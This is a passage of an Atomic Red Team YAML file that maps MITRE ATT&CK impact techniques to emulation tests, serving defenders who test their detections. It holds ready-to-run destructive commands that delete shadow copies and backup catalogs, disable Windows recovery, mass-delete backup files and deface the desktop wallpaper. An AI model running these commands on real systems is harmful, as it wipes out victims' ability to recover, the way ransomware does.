      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Deletion'
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.

        Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage</code>).
      x_mitre_impact_type:
      - Availability
      x_mitre_contributors:
      - Yonatan Gotlib, Deep Instinct
      identifier: T1490
    atomic_tests:
    - name: Windows - Delete Volume Shadow Copies
      auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01
      description: |
        Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
        execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it
        will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
        confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

        https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Create volume shadow copy of C:\ . This prereq command only
          works on Windows Server or Windows 8.

'
        prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found
          that satisfy the query.")) { exit 0 } else { exit 1 }

'
        get_prereq_command: 'vssadmin.exe create shadow /for=c:

'
      executor:
        command: 'vssadmin.exe delete shadows /all /quiet

'
        name: command_prompt
        elevation_required: true
    - name: Windows - Delete Volume Shadow Copies via WMI
      auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88
      description: |
        Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
        Shadow copies can only be created on Windows server or Windows 8.
      supported_platforms:
      - windows
      executor:
        command: 'wmic.exe shadowcopy delete

'
        name: command_prompt
        elevation_required: true
    - name: Windows - wbadmin Delete Windows Backup Catalog
      auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c
      description: |
        Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
        "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.
      supported_platforms:
      - windows
      executor:
        command: 'wbadmin delete catalog -quiet

'
        name: command_prompt
        elevation_required: true
    - name: Windows - Disable Windows Recovery Console Repair
      auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81
      description: |
        Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
        Upon execution, "The operation completed successfully." will be displayed in the powershell session.
      supported_platforms:
      - windows
      executor:
        command: |
          bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
          bcdedit.exe /set {default} recoveryenabled no
        cleanup_command: |
          bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
          bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows - Delete Volume Shadow Copies via WMI with PowerShell
      auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7
      description: |
        Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
        This technique is used by numerous ransomware families such as Sodinokibi/REvil.
        Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
        there may be no output displayed.
      supported_platforms:
      - windows
      executor:
        command: 'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

'
        name: powershell
        elevation_required: true
    - name: Windows - Delete Backup Files
      auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf
      description: |
        Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try
        to delete files from around the system.
      supported_platforms:
      - windows
      executor:
        command: 'del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.*
          c:\backup*.* c:\*.set c:\*.win c:\*.dsk

'
        name: command_prompt
        elevation_required: true
    - name: Windows - wbadmin Delete systemstatebackup
      auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748
      description: 'Deletes the Windows systemstatebackup using wbadmin.exe. This
        technique is used by numerous ransomware families. This may only be successful
        on server platforms that have Windows Backup enabled.

'
      supported_platforms:
      - windows
      executor:
        command: 'wbadmin delete systemstatebackup -keepVersions:0

'
        name: command_prompt
        elevation_required: true
    - name: Windows - Disable the SR scheduled task
      auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034
      description: 'Use schtasks.exe to disable the System Restore (SR) scheduled
        task

'
      supported_platforms:
      - windows
      executor:
        command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable

'
        cleanup_command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR"
          /enable >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1491.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1491.001
        url: https://attack.mitre.org/techniques/T1491/001
      - source_name: Novetta Blockbuster
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
      - source_name: Novetta Blockbuster Destructive Malware
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Internal Defacement
      description: 'An adversary may deface systems internal to an organization in
        an attempt to intimidate or mislead users. This may take the form of modifications
        to internal websites, or directly to user systems with the replacement of
        the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive
        images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001)
        in order to cause user discomfort, or to pressure compliance with accompanying
        messages. Since internally defacing systems exposes an adversary''s presence,
        it often takes place after other intrusion goals have been accomplished.(Citation:
        Novetta Blockbuster Destructive Malware)'
      id: attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-03-29T22:57:04.784Z'
      created: '2020-02-20T14:31:34.778Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: Monitor internal and websites for unplanned content changes.
        Monitor application logs for abnormal behavior that may indicate attempted
        or successful exploitation. Use deep packet inspection to look for artifacts
        of common exploit traffic, such as SQL injection. Web Application Firewalls
        may detect improper inputs attempting exploitation.
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1491.001
    atomic_tests:
    - name: Replace Desktop Wallpaper
      auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3
      description: 'Downloads an image from a URL and sets it as the desktop wallpaper.

'
      supported_platforms:
      - windows
      input_arguments:
        url_of_wallpaper:
          description: URL pointing to the image file you wish to set as wallpaper
          type: Url
          default: https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png
        pointer_to_orginal_wallpaper:
          description: Full path to where a file containing the original wallpaper
            location will be saved
          type: String
          default: "$env:TEMP\\T1491.001-OrginalWallpaperLocation"
        wallpaper_location:
          description: Full path to where the downloaded wallpaper image will be saved
          type: String
          default: "$env:TEMP\\T1491.001-newWallpaper.png"
      executor:
        command: "$url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper
          = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\'
          -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode
          = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n    public
          class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)]
          \n         static extern int SystemParametersInfo (int uAction , int uParam
          , string lpvParam , int fuWinIni) ; \n         \n         public static
          void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3);
          \n        }\n    }\n} \n'@\n$wc = New-Object System.Net.WebClient  \ntry{
          \ \n    $wc.DownloadFile($url, $imgLocation)\n    add-type $updateWallpapercode
          \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{
          \ \n    Write-Host(\"Cannot download $url\") \n    add-type $updateWallpapercode
          \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{    \n
          \   $wc.Dispose()  \n}\n"
        cleanup_command: "$updateWallpapercode = @' \nusing System.Runtime.InteropServices;
          \nnamespace Win32{\n\n    public class Wallpaper{ \n        [DllImport(\"user32.dll\",
          CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo
          (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n
          \        public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3);
          \n        }\n    }\n} \n'@\nif (Test-Path -Path #{pointer_to_orginal_wallpaper}
          -PathType Leaf) {\n     $orgImg = Get-Content -Path \"#{pointer_to_orginal_wallpaper}\"\n
          \    add-type $updateWallpapercode \n     [Win32.Wallpaper]::SetWallpaper($orgImg)\n}\nRemove-Item
          \"#{pointer_to_orginal_wallpaper}\" -ErrorAction Ignore\nRemove-Item \"#{wallpaper_location}\"
          -ErrorAction Ignore\n"
        name: powershell
  T1498:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1498
        url: https://attack.mitre.org/techniques/T1498
      - source_name: FireEye OpPoisonedHandover February 2016
        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
      - source_name: FSISAC FraudNetDoS September 2012
        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
          Fraud. Retrieved April 18, 2019.
      - source_name: Symantec DDoS October 2014
        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
          Retrieved April 24, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Network Denial of Service
      description: |-
        Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

        A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

        To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

        Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

        For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).
      id: attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-04-12T18:34:06.995Z'
      created: '2019-04-17T20:23:15.105Z'
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      x_mitre_is_subtechnique: false
      x_mitre_detection: 'Detection of Network DoS can sometimes be achieved before
        the traffic volume is sufficient to cause impact to the availability of the
        service, but such response time typically requires very aggressive monitoring
        and responsiveness or services provided by an upstream network service provider.
        Typical network throughput monitoring tools such as netflow(Citation: Cisco
        DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases
        in network or service utilization. Real-time, automated, and qualitative study
        of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect an Network DoS event as it starts. Often, the lead time
        may be small and the indicator of an event availability of the network or
        service drops. The analysis tools mentioned can then be used to determine
        the type of DoS causing the outage and help with remediation.'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_version: '1.1'
      x_mitre_impact_type:
      - Availability
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
    atomic_tests: []
  T1499.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1499.001
        url: https://attack.mitre.org/techniques/T1499/001
      - external_id: CAPEC-469
        source_name: capec
        url: https://capec.mitre.org/data/definitions/469.html
      - external_id: CAPEC-482
        source_name: capec
        url: https://capec.mitre.org/data/definitions/482.html
      - source_name: Arbor AnnualDoSreport Jan 2018
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
      - source_name: Cloudflare SynFlood
        url: https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
        description: Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April
          22, 2019.
      - source_name: Corero SYN-ACKflood
        url: https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html
        description: Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April
          22, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: OS Exhaustion Flood
      description: |-
        Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.

        Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

        ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)
      id: attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-09-16T15:54:35.429Z'
      created: '2020-02-20T15:27:18.581Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: 'Detection of Endpoint DoS can sometimes be achieved before
        the effect is sufficient to cause significant impact to the availability of
        the service, but such response time typically requires very aggressive monitoring
        and responsiveness. Typical network throughput monitoring tools such as netflow,
        SNMP, and custom scripts can be used to detect sudden increases in circuit
        utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative
        study of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect an attack as it starts.'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1498.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1498.002
        url: https://attack.mitre.org/techniques/T1498/002
      - external_id: CAPEC-490
        source_name: capec
        url: https://capec.mitre.org/data/definitions/490.html
      - source_name: Cloudflare ReflectionDoS May 2017
        url: https://blog.cloudflare.com/reflections-on-reflections/
        description: Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection
          (attacks). Retrieved April 23, 2019.
      - source_name: Cloudflare DNSamplficationDoS
        url: https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
        description: Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved
          April 23, 2019.
      - source_name: Cloudflare NTPamplifciationDoS
        url: https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
        description: Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved
          April 23, 2019.
      - source_name: Arbor AnnualDoSreport Jan 2018
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
      - source_name: Cloudflare Memcrashed Feb 2018
        url: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
        description: Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed
          - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Reflection Amplification
      description: |-
        Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)

        Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
      id: attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-29T16:13:53.747Z'
      created: '2020-03-02T20:08:03.691Z'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: 'Detection of reflection amplification can sometimes be achieved
        before the traffic volume is sufficient to cause impact to the availability
        of the service, but such response time typically requires very aggressive
        monitoring and responsiveness or services provided by an upstream network
        service provider. Typical network throughput monitoring tools such as netflow(Citation:
        Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden
        increases in network or service utilization. Real-time, automated, and qualitative
        study of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect a reflection amplification DoS event as it starts. Often,
        the lead time may be small and the indicator of an event availability of the
        network or service drops. The analysis tools mentioned can then be used to
        determine the type of DoS causing the outage and help with remediation.'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
    atomic_tests: []
  T1496:
    technique:
      id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783
      description: "Adversaries may leverage the resources of co-opted systems in
        order to solve resource intensive problems which may impact system and/or
        hosted service availability. \n\nOne common purpose for Resource Hijacking
        is to validate transactions of cryptocurrency networks and earn virtual currency.
        Adversaries may consume enough system resources to negatively impact and/or
        cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus
        Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit -
        Unused AWS Regions) systems are common targets because of the high potential
        for available resources, but user endpoint systems may also be compromised
        and used for Resource Hijacking and cryptocurrency mining. Containerized environments
        may also be targeted due to the ease of deployment via exposed APIs and the
        potential for scaling mining activities by deploying or compromising multiple
        containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation:
        Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining
        malware kills off processes for competing malware to ensure it’s not competing
        for resources.(Citation: Trend Micro War of Crypto Miners)"
      name: Resource Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1496
        url: https://attack.mitre.org/techniques/T1496
      - description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April
          17, 2019.
        url: https://securelist.com/lazarus-under-the-hood/77908/
        source_name: Kaspersky Lazarus Under The Hood Blog 2017
      - description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
          Retrieved October 8, 2019.
        url: https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc
        source_name: CloudSploit - Unused AWS Regions
      - source_name: Unit 42 Hildegard Malware
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
      - source_name: Trend Micro Exposed Docker APIs
        url: https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
        description: Oliveira, A. (2019, May 30). Infected Containers Target Docker
          via Exposed APIs. Retrieved April 6, 2021.
      - source_name: Trend Micro War of Crypto Miners
        url: https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html
        description: 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency
          Miners: A Battle for Resources. Retrieved April 6, 2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-04-14T12:06:32.187Z'
      created: '2019-04-17T14:50:05.682Z'
      x_mitre_contributors:
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Jay Chen, Palo Alto Networks
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_impact_type:
      - Availability
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Sensor Health: Host Status'
      x_mitre_detection: Consider monitoring process resource usage to determine anomalous
        activity associated with malicious hijacking of computer resources such as
        CPU, memory, and graphics processing resources. Monitor for suspicious use
        of network resources associated with cryptocurrency mining software. Monitor
        for common cryptomining software process names and files on local systems
        that may indicate compromise and resource usage.
      identifier: T1496
    atomic_tests:
    - name: macOS/Linux - Simulate CPU Load with Yes
      auto_generated_guid: 904a5a0e-fb02-490d-9f8d-0e256eb37549
      description: |
        This test simulates a high CPU load as you might observe during cryptojacking attacks.
        End the test by using CTRL/CMD+C to break.
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'yes > /dev/null

'
        name: bash
  T1565.003:
    technique:
      created: '2020-03-02T14:30:05.252Z'
      modified: '2020-03-28T23:10:34.359Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      id: attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490
      description: |-
        Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      name: Runtime Data Manipulation
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1565.003
        url: https://attack.mitre.org/techniques/T1565/003
      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
        url: https://content.fireeye.com/apt/rpt-apt38
        source_name: FireEye APT38 Oct 2018
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Creation'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_detection: Inspect important application binary file hashes, locations,
        and modifications for suspicious/unexpected values.
      x_mitre_impact_type:
      - Integrity
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1499.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1499.002
        url: https://attack.mitre.org/techniques/T1499/002
      - external_id: CAPEC-488
        source_name: capec
        url: https://capec.mitre.org/data/definitions/488.html
      - external_id: CAPEC-489
        source_name: capec
        url: https://capec.mitre.org/data/definitions/489.html
      - external_id: CAPEC-528
        source_name: capec
        url: https://capec.mitre.org/data/definitions/528.html
      - source_name: Arbor AnnualDoSreport Jan 2018
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
      - source_name: Cloudflare HTTPflood
        url: https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
        description: Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved
          April 22, 2019.
      - source_name: Arbor SSLDoS April 2012
        url: https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new
        description: 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on
          SSL: Something Old, Something New. Retrieved April 22, 2019.'
